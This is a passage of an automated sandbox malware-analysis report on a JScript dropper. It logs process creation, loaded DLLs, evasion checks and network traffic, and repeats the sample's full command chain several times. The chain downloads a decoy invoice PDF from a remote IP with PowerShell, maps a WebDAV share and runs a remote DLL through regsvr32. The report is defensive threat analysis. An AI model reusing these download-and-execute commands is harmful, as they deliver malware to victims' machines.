Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8596.js.csv");ITextStream.WriteLine(" entry:8421 f:pgiemmeuz");ITextStream.WriteLine(" exec:2 f:pgiemmeuz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4109			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4986			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7504	Thread sleep count: 4109 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep count: 4986 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7488	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7752	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8128	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2109862308.000001D42D400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3350215373.000002768E254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2109862308.000001D42D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW D@-
Source: svchost.exe, 00000009.00000002.3348877373.0000027688A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@}%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
